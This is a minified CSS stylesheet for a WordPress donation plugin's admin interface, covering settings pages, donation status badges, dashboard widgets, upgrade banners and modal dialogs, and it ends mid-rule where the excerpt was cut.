.make-default-gateway{color:#777}.charitable-settings-notice{max-width:860px;padding:10px 20px;border:1px solid #e1e1e1;background-color:#fef4e8}.charitable-settings-notice.license-notice{margin-top:-10px}.charitable-licensed-product h4{width:230px;margin-right:20px;line-height:40px}.charitable-licensed-product .charitable-settings-field{float:left;width:100%}@media (min-width:68.125em){.charitable-licensed-product .charitable-settings-field{width:312px;margin-right:20px}}.charitable-licensed-product .license-meta{font-size:12px;line-height:40px}.charitable-licensed-product .license-active{float:left}.charitable-licensed-product .valid-license{color:#f89d35;font-weight:bold}.charitable-licensed-product .license-deactivation{float:left;margin:6px 0}.charitable-licensed-product .license-invalid{color:#f89d35}.charitable-licensed-product .license-expiration-date{float:right;margin-left:10px}.charitable-help{display:block;margin-top:4px;font-size:13px;line-height:21px;font-style:italic;color:#777}.form-table .charitable-help p{font-size:13px;line-height:21px}.form-table td.charitable-fullwidth{padding:15px 0}.charitable-shortcode-options ul{list-style:disc;margin-left:16px;font-style:normal}.charitable-shortcode-options li{margin-bottom:2px}@media (min-width:48em){.charitable_page_charitable-settings .form-table th{min-width:250px}}body.charitable_page_charitable-settings div#charitable-settings table.form-table{max-width:1000px}.charitable_page_charitable-settings .form-table th label{font-size:13px}.charitable_page_charitable-settings .form-table td select{max-width:400px}.charitable-radio-list{padding:0;margin:0;list-style:none}.charitable-radio-list li{display:inline-block;margin-right:20px}.charitable-checkbox-list{width:auto;margin:0;padding:0}.charitable-notice{padding:5px 10px;font-size:14px;background-color:#fff}.charitable-notice.charitable-notice-error{border-left:4px solid #dc3232}.charitable-admin-notice-five-star-rating button.button:hover,.charitable-admin-notice-five-star-rating a.button-link:hover{background-color:transparent}.charitable-admin-notice-five-star-rating p{margin-top:0;margin-bottom:0}.charitable-admin-notice-five-star-rating[data-step="2"],.charitable-admin-notice-five-star-rating[data-step="3"]{display:none}.edit-php.post-type-charitable .tablenav .actions{padding-right:0}.edit-php.post-type-charitable .tablenav #start_date,.edit-php.post-type-charitable .tablenav #end_date{width:10.5em}.edit-php.post-type-charitable .tablenav #post-query-submit{display:none}.edit-php.post-type-charitable .tablenav #delete_all{margin-top:3px}.edit-php.post-type-charitable .tablenav .charitable-filter-button:before,.edit-php.post-type-charitable .tablenav .charitable-export-button:before{vertical-align:middle;margin-top:-2px;width:16px;height:16px;font-size:16px}.edit-php.post-type-charitable .tablenav a.button{display:inline-block}.edit-php.post-type-charitable .tablenav.top{margin:0 0 12px 0}.edit-php.post-type-charitable .tablenav.top select.campaign_id{float:none;vertical-align:top}.edit-php.post-type-charitable .tablenav.top .actions{overflow:visible}.edit-php.post-type-charitable .tablenav.top .actions .has-popup{position:relative;display:inline-block;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup{visibility:hidden;width:260px;background-color:#999;color:#fff;text-align:center;border-radius:6px;padding:4px;position:absolute;z-index:1;top:125%;left:50%;margin-left:-136px}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup input,.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup label,.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup select{width:80%;margin-bottom:1em}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup .inner{background:white;padding:1em 0;border-radius:4px}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup::before{content:"";position:absolute;bottom:100%;left:50%;margin-left:-5px;border-width:5px;border-style:solid;border-color:transparent transparent #999 transparent}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup.show{visibility:visible !important;-webkit-animation:fadeIn 1s;animation:fadeIn 1s}.edit-php.post-type-charitable .tablenav.top .actions .charitable-export-actions{margin-left:8px}.edit-php.post-type-charitable .wp-list-table .meta{display:block;color:#999}.edit-php.post-type-charitable .wp-list-table .column-post_status mark,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark{padding:2px 4px;margin:0;text-align:center;white-space:nowrap;background:#999;color:#fff;border-radius:2px;font-size:10px;letter-spacing:1px;text-transform:uppercase;font-weight:bold}form#posts-filter .actions.charitable-export-actions{margin-top:3px}.post-type-charitable #donation-summary mark{padding:2px 4px 2px 6px}.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-pending,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-pending,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-pending{background-color:#999}.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-completed,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-completed,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-completed{background-color:#34d058}.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-failed,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-failed,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-failed{background-color:#f7a129}.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-cancelled,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-cancelled,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-cancelled{background-color:#ff0000}.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-refunded,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-refunded,.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-refunded{background-color:#3fb8f5}.edit-php.post-type-campaign th.manage-column.column-ID,.edit-php.post-type-campaign td.column-ID{width:2.2em;padding:11px 3px}.edit-php.post-type-campaign .column-status mark{padding:2px 4px;margin:0;text-align:center;white-space:nowrap;background:#999;color:#fff;border-radius:2px;font-size:10px;letter-spacing:1px;text-transform:uppercase;font-weight:bold}.edit-php.post-type-campaign .column-status mark.active{background-color:#23282d}.edit-php.post-type-campaign .column-status mark.finished{background-color:#3fb8f5}.edit-php.post-type-campaign .column-status mark.successful{background-color:#34d058}.edit-php.post-type-campaign .column-status mark.unsuccessful{background-color:#ff0000}#charitable_dashboard_donations .hide-if-no-js{padding:10px 0;text-align:center}#charitable_dashboard_donations .inside{margin:0;padding:0}#charitable_dashboard_donations .charitable-donation-statistics{*zoom:1;margin-bottom:20px}#charitable_dashboard_donations .charitable-donation-statistics:before, #charitable_dashboard_donations .charitable-donation-statistics:after{content:" ";display:table}#charitable_dashboard_donations .charitable-donation-statistics:after{clear:both}#charitable_dashboard_donations .cell{box-sizing:border-box;float:left;width:50%;padding:23px 0 10px;border-right:1px solid #e5e5e5;border-bottom:1px solid #e5e5e5;text-align:center}#charitable_dashboard_donations .cell .amount{color:#f89d35;font-size:28px;font-weight:normal;padding-bottom:0}#charitable_dashboard_donations .summary{margin-top:0;color:#777}#charitable_dashboard_donations .summary .time-period{font-weight:bold;color:#444}#charitable_dashboard_donations .recent-donations{margin:0 11px}#charitable_dashboard_donations .recent-donations table{width:100%;border-collapse:collapse}#charitable_dashboard_donations .recent-donations caption{text-align:left}#charitable_dashboard_donations .recent-donations caption h3{padding-left:0}#charitable_dashboard_donations .recent-donations td{padding:10px 0;border-top:1px solid #e5e5e5}#charitable_dashboard_donations .recent-donations tr:last-child td{border-bottom:1px solid #e5e5e5}#charitable_dashboard_donations .recent-donations .donation-total{text-align:right;font-weight:bold}#charitable_dashboard_donations .recent-donations .donation-id{width:80px}/* * The Lite -> Pro upgrade banner ("You're using Charitable Lite!"). * * Visual properties (orange background, white text, font, base padding) live * at the base selector so they apply at every viewport. Previously they were * scoped inside @media (min-width:783px), which left mobile admins with a * bare default-styled banner once the WP admin breakpoint flipped. * * Layout properties that depend on the desktop admin column (negative * margin to align with the wider sidebar offset, tighter padding) stay * inside the 783px media query. */.charitable-admin-banner-top-of-page{text-align:center;background:#E89940;color:#fff;font-size:13px;line-height:1.4;padding:10px 46px 10px 22px}.charitable-admin-banner-top-of-page a{color:white}.charitable-license-expiring-banner.charitable-admin-banner-top-of-page{background:#e84040}.charitable-license-expiring-banner.charitable-admin-banner-top-of-page a:hover{color:white !important}.charitable-admin-banner-top-of-page .button-link{position:absolute;top:48px;right:-1px;font-size:20px;color:#fff;font-weight:bold;text-decoration:none;margin-left:5px;padding:6px 10px}@media screen and (min-width:601px){.charitable-admin-banner-top-of-page .button-link{top:0}}@media screen and (min-width:783px){.charitable-admin-banner-top-of-page{margin-left:-20px;padding:9px 32px 9px 20px;display:none}[dir=rtl] .charitable-admin-banner-top-of-page{margin-left:0;margin-right:-20px}.charitable-admin-banner-top-of-page .button-link{right:9px}}@media screen and (max-width:782px){.charitable-admin-banner-top-of-page{margin-left:-10px}}.charitable-notice.notice-five-star-review{z-index:0}.charitable-notice:first-of-type{margin-left:3px;margin-right:20px;margin-top:10px}.charitable-notice{margin-top:10px;margin-left:3px;margin-right:20px;margin-bottom:0;padding:10px 10px}.charitable-notice.updated,.charitable-notice.error{margin:10px 20px 2px 3px}form#posts-filter table tbody#the-list tr.child td{padding:0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner{justify-content:space-between;flex-direction:row;display:flex;flex:0 0 100%;flex-direction:row;align-items:center;padding:15px 30px;flex-wrap:nowrap;position:relative}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner > div{flex-grow:1;display:flex;align-items:center}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-icon{width:auto;height:45px;margin:0px 15px 0 0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-icon img{height:45px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-text p{font-size:16px;margin-top:0;margin-bottom:0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-button{display:flex;flex-direction:row;justify-content:end;min-width:20%}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .button-link{background-color:#5AA152;color:#ffffff;padding:10px 30px;position:relative;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-family:"Inter";font-size:13px;line-height:normal;color:#2271b1;cursor:pointer;display:table;text-align:center;float:right}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .button-link:hover{background-color:#3f7539}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close{width:18px;display:inline-block;height:18px;margin-left:20px;margin-right:20px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close img{width:18px;height:18px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close:hover{opacity:0.5}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link,form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link:active,form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link:visited{color:white}body.wp-admin .jconfirm.jconfirm-white .jconfirm-bg,body.wp-admin .jconfirm.jconfirm-light .jconfirm-bg{opacity:0.8}body.post-type-campaign .jconfirm .jconfirm-cell{display:table-cell}body.post-type-campaign .jconfirm.jconfirm-type-lite-pro-ad{background-color:white;color:#2B2E39;font-family:"Inter", sans-serif}.charitable-lite-pro-popup{padding:0 20px;display:flex;font-size:16px}.charitable-lite-pro-popup-left{flex:1}.charitable-lite-pro-popup-right{flex:1}.charitable-lite-pro-popup h1{color:#3F414C;font-size:24px;line-height:33px;margin:0 0 15px 0;font-weight:700}.charitable-lite-pro-popup h2{font-weight:400;font-size:14px;line-height:21px;color:#5A5C65;margin:0 0 30px 0}.charitable-lite-pro-popup ul{margin:0 20px 25px 0;display:table;list-style-position:outside;font-size:16px}.charitable-lite-pro-popup li{background-image:url("../images/icons/green_check_circle.png");background-repeat:no-repeat;font-size:14px;font-weight:500;line-height:21px;color:#3F414C;padding-left:25px;margin:0 0 15px 0;padding-left:30px;/* .charitable-lite-pro-popup li::marker{margin-top:2px}*/}.charitable-lite-pro-popup li p{margin:-2px 0 0 0;display:inline;padding:0}.charitable-lite-pro-popup .charitable-lite-pro-popup-button{padding:16px 18px;background:#E89940;margin:10px auto 0 auto;color:#fff;text-align:center;font-size:16px;line-height:24px;display:block;text-decoration:none;font-weight:600;border-radius:5px}.charitable-lite-pro-popup .charitable-lite-pro-popup-link{display:block;font-size:14px;line-height:18px;margin:20px 0 0 0;font-weight:400;color:#486DCB}.charitable-lite-pro-popup .charitable-lite-pro-popup-link:hover{text-decoration:underline}.charitable-lite-pro-popup a.charitable-lite-pro-popup-link{text-decoration:none;color:#3459C4 !important}.charitable-lite-pro-popup .charitable-lite-pro-popup-right img{padding:0 0 0 20px;margin-top:30px}body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup li,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup h2,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup h1,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup a.charitable-lite-pro-popup-link{color:#2B2E39}.charitable-licensed-product .license-deactivation{margin:2px 0}textarea.charitable-settings-field{width:75%;font-size:13px;line-height:21px}.starburst{background:#347d39;width:2.75em;height:2.75em;text-align:center;color:#fff;font-weight:800;display:flex;align-items:center;justify-content:center;position:absolute;top:50%;margin-top:-1.25em;margin-left:-1.25em}.starburst span{width:100%;height:100%;background:inherit;transform:rotate(-45deg);display:flex;align-items:center;justify-content:center}.starburst span:before, .starburst span:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background:inherit;z-index:-1;transform:rotate(30deg)}.starburst span:after{transform:rotate(30deg)}.starburst span:before{transform:rotate(-30deg)}.starburst:before, .starburst:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background:inherit;z-index:-1;transform:rotate(30deg)}.starburst:after{transform:rotate(-30deg)}#wpcharitable-starburst-new{left:5px;top:0}#qt__charitable_campaign_description_toolbar input.ed_button{padding:0 10px}th.default_amount-col,td.default_amount-col{vertical-align:middle;max-width:50px;width:50px}#create-campaign-form label{font-size:16px;line-height:21px;margin-bottom:5px;margin-top:15px;display:block}#create-campaign-form p{margin:5px 0}#create-campaign-form small{font-size:12px;line-height:16px}#create-campaign-form input[type=text]{margin-bottom:10px;width:90%}#create-campaign-form input[type=text]::placeholder{color:#ccc;opacity:1}#create-campaign-form input[type=text]:-ms-input-placeholder{color:#ccc}#create-campaign-form input[type=text]::-ms-input-placeholder{color:#ccc}div#charitable-settings{}div#charitable-settings table.form-table tbody tr.section-heading th{}div#charitable-settings table.form-table tbody tr.section-heading th h4{font-size:20px;font-weight:700;margin:0 0 6px 0}div#charitable-settings table.form-table tbody tr.section-heading p{margin-bottom:0}div#charitable-settings table.form-table tbody tr.section-heading.dangerous-settings th h4{color:red}div#charitable-settings table.form-table tbody tr.section-heading.dangerous-settings th:first-child{width:inherit}div#charitable-settings table.form-table tbody tr th{padding:5px 0}div#charitable-settings table.form-table tbody tr th h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tbody tr th[scope=row] h4{font-weight:normal;font-size:inherit}div#charitable-settings table.form-table tbody tr td p{margin:0 0 10px 0}div#charitable-settings table.form-table tbody tr:first-child th:first-child{width:auto}div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tbody tr.section-subheading th h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tr input[type=text],div#charitable-settings table.form-table tr input[type=email],div#charitable-settings table.form-table tr input[type=password],div#charitable-settings table.form-table tr select{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;border-radius:3px;box-shadow:none;display:inline-block;vertical-align:middle;padding:7px 24px 7px 12px;margin:0 10px 0 0;min-height:35px;font-size:13px;line-height:29px;font-weight:500}div#charitable-settings table.form-table tr.general-settings input[type=text],div#charitable-settings table.form-table tr.general-settings input[type=password],div#charitable-settings table.form-table tr.general-settings select{min-width:400px}div#charitable-settings table.form-table tr.restrict-radio ul.charitable-radio-list.charitable-settings-field{width:50%}div#charitable-settings table.form-table tr.restrict-radio ul.charitable-radio-list li{display:block;font-size:14px}div#charitable-settings .green{color:green}div#charitable-settings input#charitable-settings-upgrade-license-key:read-only{opacity:0.4}div#charitable-settings .license-message.license-valid- button.charitable-btn-deactivate, div#charitable-settings .license-message.license-valid-false button.charitable-btn-deactivate{display:none}div#charitable-settings .charitable-btn{border:1px;border-top-color:currentcolor;border-top-style:none;border-right-color:currentcolor;border-right-style:none;border-bottom-color:currentcolor;border-bottom-style:none;border-left-color:currentcolor;border-left-style:none;border-style:solid;border-radius:3px;cursor:pointer;display:inline-block;margin:0;margin-right:0;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none;border-radius:7px}div#charitable-settings .charitable-btn-md{font-size:13px;font-weight:600;padding:8px 12px;min-height:39px}div#charitable-settings .charitable-btn-orange{background-color:#e27730;border-color:#e27730;color:#fff}div#charitable-settings .charitable-btn-orange:hover:not(:disabled){background-color:#c96528;border-color:#c96528;color:#fff}div#charitable-settings .charitable-btn-green{background-color:#5aa152;border-color:#5aa152;color:#fff}div#charitable-settings .charitable-btn-green:hover:not(:disabled){background-color:#4c8a45;border-color:#4c8a45;color:#fff}div#charitable-settings p.submit .button.button-secondary{border-radius:5px;font-family:"Inter", sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize;height:auto}div#charitable-settings .charitable-setting-row button{margin-right:10px}body.charitable-admin-settings div.jconfirm *,body.charitable-admin-settings div.jconfirm *::before,body.charitable-admin-settings div.jconfirm *::after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box{display:grid;grid-template-columns:repeat(2, 1fr);justify-items:center;animation:none;background:#ffffff;border-radius:6px;border-top-style:solid;border-top-width:4px;box-shadow:0 3px 6px rgba(0, 0, 0, 0.15);padding-top:34px;max-width:400px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons{grid-column:1/-1;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{border-top-width:0;padding-top:25px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default .jconfirm-title-c{margin-bottom:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default .jconfirm-title-c .jconfirm-icon-c{font-size:44px;margin-bottom:-6px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default button.btn-confirm{background-color:#e27730;border-color:#e27730}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default button.btn-confirm:hover{background-color:#cd6622;border-color:#cd6622}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red{border-top-color:#d63638 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red .jconfirm-title-c .jconfirm-icon-c{color:#d63638 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red button.btn-confirm{background-color:#d63638;border-color:#d63638}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red button.btn-confirm:hover{background-color:#b32d2e;border-color:#b32d2e}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange{border-top-color:#e27730 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange .jconfirm-title-c .jconfirm-icon-c{color:#e27730 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange button.btn-confirm{background-color:#e27730;border-color:#e27730}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange button.btn-confirm:hover{background-color:#cd6622;border-color:#cd6622}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow{border-top-color:#ffb900 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow .jconfirm-title-c .jconfirm-icon-c{color:#ffb900 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow button.btn-confirm{background-color:#ffb900;border-color:#ffb900}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow button.btn-confirm:hover{background-color:#ffaa00;border-color:#ffaa00}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue{border-top-color:#0399ed !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue .jconfirm-title-c .jconfirm-icon-c{color:#0399ed !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue button.btn-confirm{background-color:#0399ed;border-color:#0399ed}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue button.btn-confirm:hover{background-color:#036aab;border-color:#036aab}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green{border-top-color:#00a32a !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green .jconfirm-title-c .jconfirm-icon-c{color:#00a32a !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green button.btn-confirm{background-color:#00a32a;border-color:#00a32a}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green button.btn-confirm:hover{background-color:#008a20;border-color:#008a20}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple{border-top-color:#7a30e2 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple .jconfirm-title-c .jconfirm-icon-c{color:#7a30e2 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple button.btn-confirm{background-color:#7a30e2;border-color:#7a30e2}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple button.btn-confirm:hover{background-color:#5c24a9;border-color:#5c24a9}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon{color:transparent;font-family:FontAwesome;height:14px;opacity:1;right:10px;top:10px;width:14px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:after{color:#bbbbbb;content:"\f00d";font-size:16px;left:0;position:absolute;top:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-closeIcon:hover:after{color:#777777 !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c{margin:0 0 20px 0;padding:0;font-weight:600}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-icon-c{font-size:47px;margin:0;-ms-transform:none !important;transform:none !important;-webkit-transition:none !important;transition:none !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-icon-c + .jconfirm-title{margin-top:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c .jconfirm-title{color:#444444;display:block;line-height:30px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane{display:block;margin-bottom:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content{color:#444444;font-size:16px;line-height:24px;margin-bottom:0;overflow:inherit}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content.lite-upgrade p{color:#777777;font-size:18px;padding:0 20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p{font-size:inherit;line-height:inherit;margin:0 0 16px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p:last-of-type{margin:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p.large{font-size:18px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content p.small{font-size:14px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=text],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=number],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=email],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=url],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=password],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=search],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content input[type=tel],body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content textarea,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane .jconfirm-content select{margin:10px 2px;width:calc(100% - 4px)}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .already-purchased{display:block;grid-row:5;grid-column:1/-1;color:#bbbbbb;font-size:14px;margin-top:15px;text-decoration:underline;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .already-purchased:hover{color:#777777;text-decoration:underline}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note{grid-row:4;grid-column:1/-1;margin:25px 0 0 0;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note p{background-color:#fcf9e8;color:#777777;font-size:16px;margin:0 -30px;padding:22px 52px 12px 52px;position:relative}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note p:after{top:-16px;background-color:#ffffff;border-radius:50%;color:#00a32a;content:"\f058";display:inline-block;font:normal normal normal 14px FontAwesome;font-size:26px;margin-right:-18px;padding:5px 6px;position:absolute;right:50%;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note span{color:#00a32a;font-weight:700}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .discount-note a{color:#777777;display:block;margin-top:12px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .feature-video{margin:30px 0 0 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .pro-feature-video{margin:15px 0 10px 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box input[type=text]:not(.choices__input){display:block;width:99%;border:1px solid #d6d6d6;padding:10px !important;box-shadow:none;margin:10px 1px 1px 1px !important;line-height:1 !important;outline:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box input[type=text]:not(.choices__input):focus{border-color:#007cba;box-shadow:0 0 0 1px #007cba}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons{margin-top:-10px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button{min-width:83px;background:#f8f8f8;border:1px solid #cccccc;border-radius:4px;color:#777777;font-size:16px;font-weight:600;line-height:20px;outline:none;padding:11px 17px;text-transform:none;margin:10px;transition-property:all;transition-duration:0.15s;transition-timing-function:ease-out}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button:hover{background:#eeeeee;border-color:#cccccc}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button[disabled]{cursor:no-drop;pointer-events:none;opacity:0.25}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-confirm{color:#ffffff}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.hidden + button{margin-left:0;margin-right:0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-block{display:block;margin:0 0 10px 0 !important;text-align:center;width:100%}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button.btn-normal-case{text-transform:none !important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons button i{margin:0 10px 0 0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .error{color:#d63638;display:none}.charitable-report-table-container-wrapper{position:relative}.charitable-cta-lite-to-pro{max-width:1000px;border:1px solid 